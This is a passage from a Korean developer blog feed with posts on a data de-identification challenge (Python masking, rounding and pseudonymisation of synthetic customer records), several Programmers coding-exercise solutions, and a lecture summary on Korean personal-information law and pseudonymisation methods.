2차 : 제공된 데이터셋을 분석하여 도전주제에 맞춘 비전기술을 개발하라!</p>
<p>7주차에 진행된 챌린지는 1차 미니 챌린지로, 개인정보 비식별 기술을 적용하여 가명/익명처리를 수행하는 것이다.</p>
<h2 id="챌린지-운영">챌린지 운영</h2>
<hr>
<h3 id="챌린지-배경">챌린지 배경</h3>
<ul>
<li>국내 대표 OTT 회사인 W사는 서비스를 이용하는 고객들의 만족도 개선을 위해 구독자 추천 서비스 개발을 전문업체에 의뢰하고자 합니다.</li>
<li>고객들의 영화 상영 및 만족도 정보를 포함하고 있는 데이터를 해당 업체에 제공하려 하는데, 개인정보 전문가에 의뢰한 결과 데이터 내 개인정보가 포함되어 가명/익명 처리가 필요한 상황입니다.</li>
<li>컬럼별 가명/익명 처리 요구사항을 확인한 후, 적절한 기술을 적용해 요구된 모든 컬럼에 대한 가명/익명 처리를 수행해 주시기 바랍니다.</li>
</ul>
<h3 id="데이터셋">데이터셋</h3>
<blockquote>
</blockquote>
<ul>
<li>data.csv: 비식별 처리해야 하는 데이터 (실제 개인정보가 아닌, 무작위로 만든 개인정보이다.)
<img src="https://velog.velcdn.com/images/gloomy_passion/post/3be593a5-2dbf-4a89-a64b-663ca0219817/image.png" alt=""></li>
</ul>
<h2 id="챌린지-진행">챌린지 진행</h2>
<hr>
<h3 id="데이터-모양-확인">데이터 모양 확인</h3>
<p>데이터의 인코딩 형식이 <code>utf-8</code>이 아닌 <code>cp949</code>형식이기 때문에, <code>pandas</code>로 데이터를 불러올 때, 인코딩 인자를 따로 주어야 한다.</p>
<pre><code class="language-python">import pandas as pd
data = pd.read_csv(&#39;data.csv&#39;, encoding=&#39;cp949&#39;)
data.head()</code></pre>
<div>
<style scoped>
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }

<pre><code>.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}</code></pre><p></style></p>
<table border="1" class="dataframe">
  <thead>
    <tr style="text-align: right;">
      <th></th>
      <th>회원번호</th>
      <th>이름</th>
      <th>이메일</th>
      <th>성별</th>
      <th>나이</th>
      <th>생년월일</th>
      <th>주소</th>
      <th>관심등록</th>
      <th>관심등록일자</th>
      <th>시청일자</th>
      <th>재생시간</th>
      <th>영상길이</th>
      <th>카테고리</th>
      <th>장르</th>
      <th>제목</th>
      <th>평점</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <th>0</th>
      <td>141111</td>
      <td>김준혁</td>
      <td>746u3@naver.com</td>
      <td>남</td>
      <td>87</td>
      <td>1935-03-06</td>
      <td>충청북도 평창군 잠실거리</td>
      <td>T</td>
      <td>2018-09-22</td>
      <td>2020-06-28</td>
      <td>81.68</td>
      <td>143.83</td>
      <td>드라마</td>
      <td>멜로/로맨스,드라마</td>
      <td>수상한 종업원</td>
      <td>5.0</td>
    </tr>
    <tr>
      <th>1</th>
      <td>122892</td>
      <td>오은지</td>
      <td>l97ds8q5@daum.net</td>
      <td>여</td>
      <td>70</td>
      <td>1952-04-26</td>
      <td>강원도 보령시 양재천935로</td>
      <td>T</td>
      <td>2018-10-11</td>
      <td>2018-03-26</td>
      <td>27.47</td>
      <td>119.76</td>
      <td>영화</td>
      <td>코미디,드라마</td>
      <td>굿모닝 프레지던트</td>
      <td>1.2</td>
    </tr>
    <tr>
      <th>2</th>
      <td>141446</td>
      <td>박성호</td>
      <td>iacfej@hotmail.com</td>
      <td>남</td>
      <td>76</td>
      <td>1946-07-15</td>
      <td>충청북도 여주시 도산대080가</td>
      <td>T</td>
      <td>2017-08-30</td>
      <td>2018-09-28</td>
      <td>131.28</td>
      <td>169.09</td>
      <td>영화</td>
      <td>미스터리,스릴러</td>
      <td>비정한 도시 (미개봉)</td>
      <td>3.5</td>
    </tr>
    <tr>
      <th>3</th>
      <td>146551</td>
      <td>박경수</td>
      <td>e2jfwg5lnnixop@gmail.com</td>
      <td>남</td>
      <td>85</td>
      <td>1937-01-14</td>
      <td>전라북도 연천군 강남대길</td>
      <td>T</td>
      <td>2020-12-01</td>
      <td>2020-03-11</td>
      <td>167.79</td>
      <td>168.47</td>
      <td>드라마</td>
      <td>범죄,액션</td>
      <td>한길수</td>
      <td>1.2</td>
    </tr>
    <tr>
      <th>4</th>
      <td>120589</td>
      <td>김영식</td>
      <td>mq7vkyiyti@gmail.com</td>
      <td>남</td>
      <td>69</td>
      <td>1953-08-21</td>
      <td>울산광역시 강북구 도산대3로</td>
      <td>T</td>
      <td>2020-02-04</td>
      <td>2020-05-31</td>
      <td>8.44</td>
      <td>164.50</td>
      <td>드라마</td>
      <td>드라마</td>
      <td>해무(海霧)</td>
      <td>2.5</td>
    </tr>
  </tbody>
</table>
</div>

<h3 id="요구사항에-따라-데이터-비식별-전략-세우기">요구사항에 따라 데이터 비식별 전략 세우기</h3>
<ul>
<li>회원번호: 컬럼 전체 삭제 - 삭제</li>
<li>이름: 휴리스틱 가명화 - 대체</li>
<li>이메일: 마스킹 - 삭제 and 대체</li>
<li>나이: 라운딩 - 요약</li>
<li>생년월일: 범주화 - 요약</li>
<li>주소: 범주화 - 요약</li>
</ul>
<h3 id="각각의-모듈-생성">각각의 모듈 생성</h3>
<ul>
<li>대체 모듈<pre><code class="language-python">import math
import random
</code></pre>
</li>
</ul>
<p>class Replacing:</p>
<pre><code>def replacing_birthdate(self, data):
    # 1996-01-01 -&gt; 1990년 01월
    year = math.floor(int(data.split(&#39;-&#39;)[0]) / 10) * 10
    month = data.split(&#39;-&#39;)[1]
    return str(year) + &#39;년 &#39; + month + &#39;월&#39;

def heuristic_pseudonymization_name(self, data):
    # 성별이 &#39;남&#39;이면 다음 중 하나로 변경
    # 홍길동, 임꺽정, 장길산, 이몽룡, 한석봉
    # 성별이 &#39;여&#39;이면 다음 중 하나로 변경
    # 성춘향, 황진이, 장희빈, 신사임당, 허난설헌
    male_names = [&#39;홍길동&#39;, &#39;임꺽정&#39;, &#39;장길산&#39;, &#39;이몽룡&#39;, &#39;한석봉&#39;]
    female_names = [&#39;성춘향&#39;, &#39;황진이&#39;, &#39;장희빈&#39;, &#39;신사임당&#39;, &#39;허난설헌&#39;]

    # 0~4 사이의 랜덤 정수 생성
    random_index = random.randint(0, 4)

    if data == &#39;남&#39;:
        return male_names[random_index]
    else:
        return female_names[random_index]</code></pre><pre><code>생년월일을 연도와 월까지 표시하는 것으로 요약하였다. 범주는 대체에 들어가는데, 챌린지 당시 대체 모듈에 넣었었다...(이유는 잘 모르겠다.)
이름 정보를 휴리스틱 가명화 진행하였다. 남성과 여성을 구분해서 잘 알려진 이름들 5개중 랜덤으로 배정하였다. 처음에는 `Faker`모듈을 이용해 랜덤으로 변환했었다가, 휴리스틱 가명화가 아닌 것 같아서 다시 구현하였다. (본 코드에 주석처리 되어있다.)

- 범주화 모듈
```python
class Categorization:

    # 주소 범주화 (시/도 + 시/군/구)
    def categorization_address(self, data):
        return data.split(&#39; &#39;)[0] + &#39; &#39; + data.split(&#39; &#39;)[1]</code></pre><p>&#39;충청북도 여주시 도산대080가 → 충청북도 여주시&#39;의 형태로 범주화하였다.</p>
<ul>
<li><p>마스킹 모듈</p>
<pre><code class="language-python">class Masking:

  def masking_email(self, data):

      id = data.split(&#39;@&#39;)[0]
      # id의 첫 번째 문자를 제외한 나머지 문자를 &#39;*&#39;로 치환
      id = id[0] + &#39;*&#39; * (len(id) - 1)
      # id와 도메인을 &#39;@&#39;로 연결
      return id + &#39;@&#39; + data.split(&#39;@&#39;)[1]</code></pre>
<p>이메일의 계정부분 첫 글자만 제외하고 <code>*</code>로 마스킹처리 하였다.</p>
</li>
<li><p>라운딩 모듈</p>
<pre><code class="language-python">import math
</code></pre>
</li>
</ul>
<p>class Rounding:</p>
<pre><code>def rounding_age(self, data):

    # round down and concatenate string
    data = int(math.floor(int(data) / 10.0)) * 10
    data = str(data) + &#39;세&#39;
    return data</code></pre><pre><code>나이를 라운딩한 후 뒤에 &#39;세&#39;를 붙여 범주화하였다.

### 메인 코드
```python
import pandas as pd
from privacy.masking import Masking
from privacy.replacing import Replacing
from privacy.rounding import Rounding
from privacy.categorization import Categorization
from faker import Faker
from tqdm import tqdm
import warnings

warnings.filterwarnings(&#39;ignore&#39;)

masking = Masking()
replacing = Replacing()
rounding = Rounding()
categorization = Categorization()
faker = Faker(&quot;ko_KR&quot;)

data = pd.read_csv(&#39;data.csv&#39;, encoding=&#39;cp949&#39;)

# 회원번호 삭제
data.drop(&#39;회원번호&#39;, axis=1, inplace=True)

# 이름 무작위 변경
# for i in tqdm(range(len(data))):
#     original_name = data[&#39;이름&#39;][i]
#     if data[&#39;성별&#39;][i] == &#39;남&#39;:
#         data[&#39;이름&#39;][i] = faker.name_male()
#     else:
#         data[&#39;이름&#39;][i] = faker.name_female()

# 이름 휴리스틱 가명화
data[&#39;이름&#39;] = data[&#39;성별&#39;].apply(replacing.heuristic_pseudonymization_name)

# 이메일 마스킹 (abcdefg@naver.com → ****@naver.com)
data[&#39;이메일&#39;] = data[&#39;이메일&#39;].apply(masking.masking_email)

# 나이 제어 라운딩 (나이 15 → 10대)
data[&#39;나이&#39;] = data[&#39;나이&#39;].apply(rounding.rounding_age)

# 생년월일 형식 변경 (yyyy-mm-dd → yyy0년 mm월)
data[&#39;생년월일&#39;] = data[&#39;생년월일&#39;].apply(replacing.replacing_birthdate)

# 주소 범주화 (충청북도 여주시 도산대080가 → 충청북도 여주시)
data[&#39;주소&#39;] = data[&#39;주소&#39;].apply(categorization.categorization_address)

# 결과 확인
print(data.head(10))

# 결과 저장
data.to_csv(&#39;[KDT_AISEC_1기] 개인정보 비식별 1차 미니 챌린지_[이름]_v0.1_cp949.csv&#39;, encoding=&#39;cp949&#39;, index=False)
data.to_csv(&#39;[KDT_AISEC_1기] 개인정보 비식별 1차 미니 챌린지_[이름]_v0.1_utf-8-sig.csv&#39;, encoding=&#39;utf-8-sig&#39;, index=False)</code></pre><p><img src="https://velog.velcdn.com/images/gloomy_passion/post/12aa241f-7fe6-4557-bb5f-a6c013ba7db1/image.png" alt="">
비식별 처리 이후 결과물의 일부이다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[프로그래머스] 글자 지우기]]></title>
            <link>https://velog.io/@gloomy_passion/%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%A8%B8%EC%8A%A4-%EA%B8%80%EC%9E%90-%EC%A7%80%EC%9A%B0%EA%B8%B0</link>
            <guid>https://velog.io/@gloomy_passion/%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%A8%B8%EC%8A%A4-%EA%B8%80%EC%9E%90-%EC%A7%80%EC%9A%B0%EA%B8%B0</guid>
            <pubDate>Mon, 29 Jan 2024 05:46:58 GMT</pubDate>
            <description><![CDATA[<h2 id="문제-설명">문제 설명</h2>
<hr>
<blockquote>
</blockquote>
<p>문자열 <code>my_string</code>과 정수 배열 <code>indices</code>가 주어질 때, <code>my_string</code>에서 <code>indices</code>의 원소에 해당하는 인덱스의 글자를 지우고 이어 붙인 문자열을 return 하는 solution 함수를 작성해 주세요.</p>
<h2 id="문제-풀이">문제 풀이</h2>
<hr>
<h3 id="문제-조건-정리">문제 조건 정리</h3>
<p>이 문제는 단순하게 생각하면 <code>my_string</code>에서 <code>indices</code>에 들어있는 값들을 인덱스로 취급했을 때, 해당하는 값들을 삭제하는 문제이다. 그러나 이 문제를 풀이할 때 단순히 문자열이나 리스트에서 인덱스에 해당하는 값들을 삭제하게 되면 문자열의 해당 인덱스에 공백이나 다른 값으로 채워 넣지 않는 한 앞 뒤 값들이 붙으면 <code>indices</code>의 인덱스들이 의미가 없어지는 현상이 발생한다. 따라서 이 문제는 삭제하는 값을 특정 값으로 대체한 후 마지막에 해당 값만 삭제하거나, <code>indices</code>를 정렬한 후, 뒤에서부터 제거하는 방법을 사용해야 한다.</p>
<h3 id="코드-작성">코드 작성</h3>
<pre><code class="language-python">def solution(my_string, indices):

    # string to list
    string_list = list(my_string)

    # indices에 들어있는 인덱스를 앞에서부터 제거하게 되면 그만큼 my_string에 변화가 생기기 때문에,
    # indices를 내림차순 정렬 후 뒤에서부터 제거한다.

    # indices 내림차순 정렬
    indices.sort()
    indices.reverse()

    for idx in indices:
        del string_list[idx]

    return &#39;&#39;.join(string_list)</code></pre>
<p>문자열 슬라이싱을 이용하면 조금 더 편하게 할 수도 있지만, 리스트를 이용할 경우 위의 방법으로 진행하면 인덱스를 내림차순 정렬한 후 뒤에서부터 값을 제거하기 때문에 앞의 문자열의 구조가 변하지 않는다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[프로그래머스] 문자열 여러 번 뒤집기]]></title>
            <link>https://velog.io/@gloomy_passion/%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%A8%B8%EC%8A%A4-%EB%AC%B8%EC%9E%90%EC%97%B4-%EC%97%AC%EB%9F%AC-%EB%B2%88-%EB%92%A4%EC%A7%91%EA%B8%B0</link>
            <guid>https://velog.io/@gloomy_passion/%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%A8%B8%EC%8A%A4-%EB%AC%B8%EC%9E%90%EC%97%B4-%EC%97%AC%EB%9F%AC-%EB%B2%88-%EB%92%A4%EC%A7%91%EA%B8%B0</guid>
            <pubDate>Sat, 27 Jan 2024 17:09:50 GMT</pubDate>
            <description><![CDATA[<h2 id="문제-설명">문제 설명</h2>
<hr>
<blockquote>
</blockquote>
<p>문자열 <code>my_string</code>과 이차원 정수 배열 <code>queries</code>가 매개변수로 주어집니다. <code>queries</code>의 원소는 <code>[s, e]</code> 형태로, <code>my_string</code>의 인덱스 s부터 인덱스 e까지를 뒤집으라는 의미입니다. <code>my_string</code>에 <code>queries</code>의 명령을 순서대로 처리한 후의 문자열을 <code>return</code> 하는 <code>solution</code> 함수를 작성해 주세요.</p>
<h2 id="문제-풀이">문제 풀이</h2>
<hr>
<h3 id="문제-조건-정리">문제 조건 정리</h3>
<p><code>queries</code>의 형태: <code>[[s, e], [s, e], ...]</code>
<code>my_string[s]</code> 부터 <code>my_string[e]</code>까지 뒤집는 작업을 반복</p>
<h3 id="코드-작성">코드 작성</h3>
<pre><code class="language-python">def solution(my_string, queries):

    for query in queries:
        my_string = my_string[:query[0]]+(my_string[query[0]:query[1]+1])[::-1]+my_string[query[1]+1:]

    return my_string</code></pre>
<p>문자열 슬라이싱을 이용해서 <code>s</code>와 <code>e</code>에 해당하는 <code>query[0]</code>부터 <code>query[1]</code>까지의 문자열을 뒤집어서 붙여주었다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[프로그래머스] 9로 나눈 나머지]]></title>
            <link>https://velog.io/@gloomy_passion/%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%A8%B8%EC%8A%A4-9%EB%A1%9C-%EB%82%98%EB%88%88-%EB%82%98%EB%A8%B8%EC%A7%80</link>
            <guid>https://velog.io/@gloomy_passion/%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%A8%B8%EC%8A%A4-9%EB%A1%9C-%EB%82%98%EB%88%88-%EB%82%98%EB%A8%B8%EC%A7%80</guid>
            <pubDate>Sat, 27 Jan 2024 16:56:28 GMT</pubDate>
            <description><![CDATA[<h2 id="문제-설명">문제 설명</h2>
<hr>
<blockquote>
</blockquote>
<p>음이 아닌 정수를 9로 나눈 나머지는 그 정수의 각 자리 숫자의 합을 9로 나눈 나머지와 같은 것이 알려져 있습니다.
이 사실을 이용하여 음이 아닌 정수가 문자열 number로 주어질 때, 이 정수를 9로 나눈 나머지를 return 하는 solution 함수를 작성해주세요.</p>
<h2 id="문제-풀이">문제 풀이</h2>
<hr>
<h3 id="문제-조건-정리">문제 조건 정리</h3>
<p><code>음이 아닌 정수를 9로 나눈 나머지 == 그 정수의 각 자리 숫자의 합을 9로 나눈 나머지</code></p>
<h3 id="코드-작성">코드 작성</h3>
<p>우선 수를 각 자리의 숫자 단위로 다루려면 문자열로 변환시키는게 편하다.</p>
<pre><code class="language-python">def solution(number):
    # 각 자리 숫자의 합을 저장할 변수 sum
    sum = 0

    for num in str(number):
        sum += int(num)

    answer = sum % 9
    return answer</code></pre>
<p>문자열로 변환한 후에 각 자리의 숫자를 추출 후, 다시 <code>int</code>형으로 바꿔서 더한 후 합계를 9로 나눈 나머지를 리턴해주었다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[프로그래머스] 주사위 게임3]]></title>
            <link>https://velog.io/@gloomy_passion/%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%A8%B8%EC%8A%A4-%EC%A3%BC%EC%82%AC%EC%9C%84-%EA%B2%8C%EC%9E%843</link>
            <guid>https://velog.io/@gloomy_passion/%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%A8%B8%EC%8A%A4-%EC%A3%BC%EC%82%AC%EC%9C%84-%EA%B2%8C%EC%9E%843</guid>
            <pubDate>Sat, 27 Jan 2024 16:45:05 GMT</pubDate>
            <description><![CDATA[<h2 id="문제-설명">문제 설명</h2>
<hr>
<blockquote>
</blockquote>
<p>1부터 6까지 숫자가 적힌 주사위가 네 개 있습니다. 네 주사위를 굴렸을 때 나온 숫자에 따라 다음과 같은 점수를 얻습니다.</p>
<blockquote>
</blockquote>
<p>네 주사위에서 나온 숫자가 모두 p로 같다면 1111 × p점을 얻습니다.
세 주사위에서 나온 숫자가 p로 같고 나머지 다른 주사위에서 나온 숫자가 q(p ≠ q)라면 (10 × p + q)2 점을 얻습니다.
주사위가 두 개씩 같은 값이 나오고, 나온 숫자를 각각 p, q(p ≠ q)라고 한다면 (p + q) × |p - q|점을 얻습니다.
어느 두 주사위에서 나온 숫자가 p로 같고 나머지 두 주사위에서 나온 숫자가 각각 p와 다른 q, r(q ≠ r)이라면 q × r점을 얻습니다.
네 주사위에 적힌 숫자가 모두 다르다면 나온 숫자 중 가장 작은 숫자 만큼의 점수를 얻습니다.
네 주사위를 굴렸을 때 나온 숫자가 정수 매개변수 a, b, c, d로 주어질 때, 얻는 점수를 return 하는 solution 함수를 작성해 주세요.</p>
<h2 id="문제-풀이">문제 풀이</h2>
<hr>
<h3 id="문제-조건-정리">문제 조건 정리</h3>
<pre><code class="language-python">def solution(a, b, c, d):
    answer = 0
    return answer</code></pre>
<p>기본 코드의 형태로 보면 <code>a</code>, <code>b</code>, <code>c</code>, <code>d</code>가 각각 네 주사위를 굴렸을 때 나온 숫자로 보인다.</p>
<ul>
<li><p>조건 1, 네 주사위의 값이 <code>p</code>로 모두 같을 때, <code>pppp</code>
$$
a=b=c=d\Point = 1111 \times p
$$</p>
</li>
<li><p>조건 2. 세 주사위의 값이 <code>p</code>, 나머지 하나가 <code>q</code>, <code>pppq</code>
$$
a=b=c\not=d\
a=b=d\not=c\
a=c=d\not=b\
b=c=d\not=a\
Point=(10 \times p + q)^2
$$</p>
</li>
<li><p>조건 3. 주사위가 두 개씩 같은 값이 나오고, 나온 숫자를 각각 <code>p, q</code>, <code>ppqq</code>
$$
a=b\not=c=d\
a=c\not=b=d\
a=d\not=b=c\
Point=(p+q) \times |p-q|
$$</p>
</li>
<li><p>조건 4. 어느 두 주사위에서 나온 숫자가 <code>p</code>로 같고 나머지 두 주사위에서 나온 숫자가 각각 <code>p</code>와 다른 <code>q, r(q ≠ r)</code>, <code>ppqr</code>
$$
a=b, \ a\not=c, \ a\not=d, \ c\not=d\
a=c, \ a\not=b, \ a\not=d, \ b\not=d\
a=d, \ a\not=b, \ a\not=c, \ b\not=c\
b=c, \ b\not=a, \ b\not=d, \ a\not=d\
b=d, \ b\not=a, \ b\not=c, \ a\not=d\
c=d, \ c\not=a, \ c\not=b, \ a\not=b\
Point = q \times r
$$</p>
</li>
<li><p>조건 5. 네 주사위에 적힌 숫자가 모두 다르다면, <code>pqrs</code>
$$
a \not =b\
a \not =c\
a \not =d\
b \not =c\
b \not =d\
c \not =d\
Point = min(p, \ q, \ r, \ s)
$$</p>
</li>
</ul>
<h3 id="코드-작성">코드 작성</h3>
<p>차근차근 조건문을 활용해 작성해보자.</p>
<pre><code class="language-python">def solution(a, b, c, d):
    # 주사위 수를 저장할 리스트
    dice = [a, b, c, d]

    # 조건 1, 네 주사위의 값이 `p`로 모두 같을 때, `pppp`
    if len(set(dice)) == 1:
        return 1111 * a

    # 조건 2. 세 주사위의 값이 `p`, 나머지 하나가 `q`, `pppq`
    elif a==b and b==c and c!=d: return (10 * a + d)**2
    elif a==b and b==d and d!=c: return (10 * a + c)**2
    elif a==c and c==d and d!=b: return (10 * a + b)**2
    elif b==c and c==d and d!=a: return (10 * b + a)**2

    # 조건 3. 주사위가 두 개씩 같은 값이 나오고, 나온 숫자를 각각 `p, q`, `ppqq`
    elif a==b and b!=c and c==d: return (a + d) * abs(a - d)
    elif a==c and c!=b and b==d: return (a + d) * abs(a - d)
    elif a==d and d!=b and b==c: return (a + c) * abs(a - c)

    # 조건 4. 어느 두 주사위에서 나온 숫자가 `p`로 같고 나머지 두 주사위에서 나온 숫자가 각각 `p`와 다른 `q, r(q ≠ r)`, `ppqr`
    elif a==b and a!=c and a!=d and c!=d: return c * d
    elif a==c and a!=b and a!=d and b!=d: return b * d
    elif a==d and a!=b and a!=c and b!=c: return b * c
    elif b==c and b!=a and b!=d and a!=d: return a * d
    elif b==d and b!=a and b!=c and a!=d: return a * c
    elif c==d and c!=a and c!=b and a!=b: return a * b

    # 조건 5. 네 주사위에 적힌 숫자가 모두 다르다면, `pqrs`
    if len(set(dice)) == 4:
        return min(dice)</code></pre>
<p>뭔가 복잡한 조건문일수록 의외로 예외처리만 잘 한다면 쉽게 풀리는 경우가 많은데, 이 문제의 경우는 예외처리를 하다가 하다가 잘 안 되는 바람에 모든 조건을 천천히 처음부터 써내려갔다. 조건 1번과 조건 5번의 경우는 <code>set</code>을 이용해 조금 더 간단하게 처리할 수 있었다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[KDT_AISEC] 7주차 - 개인정보와 비식별]]></title>
            <link>https://velog.io/@gloomy_passion/KDTAISEC-7%EC%A3%BC%EC%B0%A8-%EA%B0%9C%EC%9D%B8%EC%A0%95%EB%B3%B4-%EB%B9%84%EC%8B%9D%EB%B3%84</link>
            <guid>https://velog.io/@gloomy_passion/KDTAISEC-7%EC%A3%BC%EC%B0%A8-%EA%B0%9C%EC%9D%B8%EC%A0%95%EB%B3%B4-%EB%B9%84%EC%8B%9D%EB%B3%84</guid>
            <pubDate>Sat, 27 Jan 2024 15:34:47 GMT</pubDate>
            <description><![CDATA[<h2 id="개인정보-개념-이해">개인정보 개념 이해</h2>
<hr>
<h3 id="개인정보란">개인정보란?</h3>
<blockquote>
</blockquote>
<p>개인정보보호법 제2조 1호
제2조(정의) 이 법에서 사용하는 용어의 뜻은 다음과 같다.</p>
<ol>
<li>“개인정보”란 <strong>살아있는 개인에 관한 정보</strong>로서 다음 각 목의 어느 하나에 해당하는 정보를 말한다.
가. 성명, 주민등록번호 및 영상 등을 통하여 <strong>개인을 알아볼 수 있는 정보</strong>
나. 해당 정보만으로는 특정 개인을 알아볼 수 없더라도 <strong>다른 정보와 쉽게 결합하여 알아볼 수 있는 정보</strong>.
이 경우 쉽게 결합할 수 있는지 여부는 다른 정보의 <strong>입수 가능성</strong> 등 개인을 알아보는 데 소요되는 시간,
비용, 기술 등을 합리적으로 고려하여야 한다.
다. 가목 또는 나목을 제1호의2에 따라 가명처리함으로써 원래의 상태로 복원하기 위한 추가 정보의
사용ㆍ결합 없이는 특정 개인을 알아볼 수 없는 정보(이하 “<strong>가명정보</strong>”라 한다.)</li>
</ol>
<ul>
<li><p><strong>살아 있는</strong>
사망한 자, 법인, 단체 또는 사물에 관한 정보는 개인정보가 아니다.</p>
</li>
<li><p><strong>개인에 관한</strong>
집단의 통계값 등은 개인정보가 아니다.</p>
</li>
<li><p><strong>정보</strong>
정보의 종류, 형태, 성격, 형식 등에 관하여는 특별한 제한이 없다.</p>
</li>
<li><p><strong>개인을 알아볼 수 있는 정보</strong>
이름, 전화번호, 주민번호, 이메일, 사진, 지문, 음성, 필체 등</p>
</li>
<li><p><strong>다른 정보와 쉽게 결합하여 알아볼 수 있는 정보</strong>
주어진 정보의 재료들을 조합해 <strong>한 개인을 특정</strong>할 수 있으면 개인정보로 간주할 수 있다.</p>
</li>
</ul>
<h3 id="개인정보-이용-및-제공">개인정보 이용 및 제공</h3>
<p>개인정보는 수집 목적 범위에 해당하는지, 목적 외 이용/제공 근거에 해당하는지 판단하고 두 조건에 해당할 경우 <strong>가명처리 후</strong> 이용 및 제공이 가능하다.</p>
<h3 id="가명정보">가명정보</h3>
<p>가명정보는 원래의 상태로 복원하기 위한 추가 정보의 사용 및 결합 없이는 특정 개인을 식별할 수 없는 정보를 말한다. 복원을 위한 추가 정보란 이름 혹은 주민등록번호 등의 개인정보를 임의의 다른 값으로 무작위 변경하는 것이 아니라 일정한 기준표 혹은 알고리즘을 통해 변경했을 때 기준표와 알고리즘이 추가 정보에 해당한다.</p>
<h2 id="용어정리">용어정리</h2>
<hr>
<h3 id="개인정보">개인정보</h3>
<p><strong>살아있는 개인에 관한 정보</strong>로서 다음의 정보를 포함한다.</p>
<blockquote>
</blockquote>
<ul>
<li>성명, 주민등록번호 및 영상 등을 통하여 <strong>개인을 알아볼 수 있는 정보</strong></li>
<li>해당 정보만으로는 특정 개인을 알아볼 수 없더라도 <strong>다른 정보와 쉽게 결합하여 알아볼 수 있는 정보</strong></li>
</ul>
<h3 id="가명정보-1">가명정보</h3>
<p>개인정보를 <strong>가명처리</strong> 함으로써 원래의 상태로 복원하기 위한 추가정보의 사용 및 결합 없이는 특정 개인을 알아볼 수 없는 정보</p>
<h3 id="익명정보">익명정보</h3>
<p>시간, 비용, 기술 등을 합리적으로 고려할 때 다른 정보를 사용하더라도 더 이상 개인을 알아볼 수 없는 정보</p>
<h3 id="추가정보">추가정보</h3>
<p>개인정보의 전부 또는 일부를 대체하는 데 이용된 수단이나 방식(알고리즘 등),가명정보와의 비교ㆍ대조 등을 통해 삭제 또는 대체된 개인정보 부분을 복원할 수 있는 정보</p>
<h2 id="개인정보-비식별">개인정보 비식별</h2>
<hr>
<h3 id="개인정보-개념과-활용-범위">개인정보 개념과 활용 범위</h3>
<p>안전하게 지키는 것만 생각하면 고려할 필요 없지만, 제공을 하는 관점에서 보면 개인정보를 기준에 맞게 구분해야 한다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/c1691c33-4707-4469-a5e2-d20f4135b96b/image.png" alt=""></p>
<h3 id="가명처리-절차">가명처리 절차</h3>
<blockquote>
</blockquote>
<ul>
<li>1단계 사전 준비: 목적의 적합성 확인 및 사전계획 수립</li>
<li>2단계 가명처리: 가명처리 수준정의 및 기술적 처리</li>
<li>3단계 적정성 검토: 검토 후 추가 가명처리가 필요한 경우 이전 단계로 회귀</li>
<li>4단계 활용 및 사후관리
<img src="https://velog.velcdn.com/images/gloomy_passion/post/556b9538-ee7a-4d86-8599-d1cab3c65107/image.png" alt=""></li>
</ul>
<h3 id="privacy-by-design">Privacy by Design</h3>
<ul>
<li>프라이버시를 고려한 설계</li>
<li>프라이버시 관련 침해가 발생한 이후에 조치를 취하는 것이 아닌 프라이버시 위협을 예측· 예상하거나 가능성을 대비하여 서비스 기획·설계 단계 등 사전에 예방하는 개념
<img src="https://velog.velcdn.com/images/gloomy_passion/post/d476c4e8-0875-4afc-89fb-6e75cd7dbabd/image.png" alt=""></li>
</ul>
<h3 id="비식별-조치-기준">비식별 조치 기준</h3>
<p>비식별 조치란 개인 식별 요소를 일부 삭제하거나 대체하는 것을 의미한다.</p>
<ul>
<li><p>식별자 조치 기준
정보 집합물에 포함된 식별자는 <strong>원칙적으로 삭제</strong>한다. 단, 데이터 이용 목적상 반드시 필요한 식별자는 <strong>비식별 조치 이후 활용</strong>한다.</p>
</li>
<li><p>속성자 조치 기준
정보 집합물에 포함된 속성자도 데이터 이용 목적과 관련이 없다면 <strong>원칙적으로 삭제</strong>한다. 데이터 이용 목적의 속성자 중 식별 요소가 있는 경우에는 <strong>가명처리, 총계처리 등의 기법을 활용하여 비식별 조치</strong>한다.</p>
</li>
</ul>
<blockquote>
</blockquote>
<ul>
<li>식별자 예시
• 고유식별정보(주민등록번호, 여권번호, 외국인등록번호, 운전면허번호)
• 성명(한자·영문 성명, 필명 등 포함)
• 상세 주소(구 단위 미만까지 포함된 주소)
• 날짜정보 : 생일(양/음력), 기념일(결혼, 돌, 환갑 등), 자격증 취득일 등
• 전화번호(휴대전화번호, 집전화, 회사전화, 팩스번호)
• 의료기록번호, 건강보험번호, 복지 수급자 번호
• 통장계좌번호, 신용카드번호
• 각종 자격증 및 면허 번호
• 자동차 번호, 각종 기기의 등록번호 &amp; 일련번호
• 사진(정지사진, 동영상, CCTV 영상 등)
• 신체 식별정보(지문, 음성, 홍채 등)
• 이메일 주소, IP 주소, Mac 주소, 홈페이지 URL 등
• 식별코드(아이디, 사원번호, 고객번호 등)
• 기타 유일 식별번호 : 군번, 개인사업자의 사업자 등록번호 등<blockquote>
</blockquote>
</li>
<li>속성자 예시
<img src="https://velog.velcdn.com/images/gloomy_passion/post/ed943a05-fe2d-4ec9-88eb-929e7b0e2e3c/image.png" alt=""></li>
</ul>
<h2 id="비식별-조치-방법">비식별 조치 방법</h2>
<hr>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/6efa0746-dbea-4a77-b619-e028508d70ee/image.png" alt=""></p>
<ul>
<li>가명, 익명 처리 기술
<img src="https://velog.velcdn.com/images/gloomy_passion/post/3d89b22c-62f1-49f7-8617-79d80d116830/image.png" alt="">
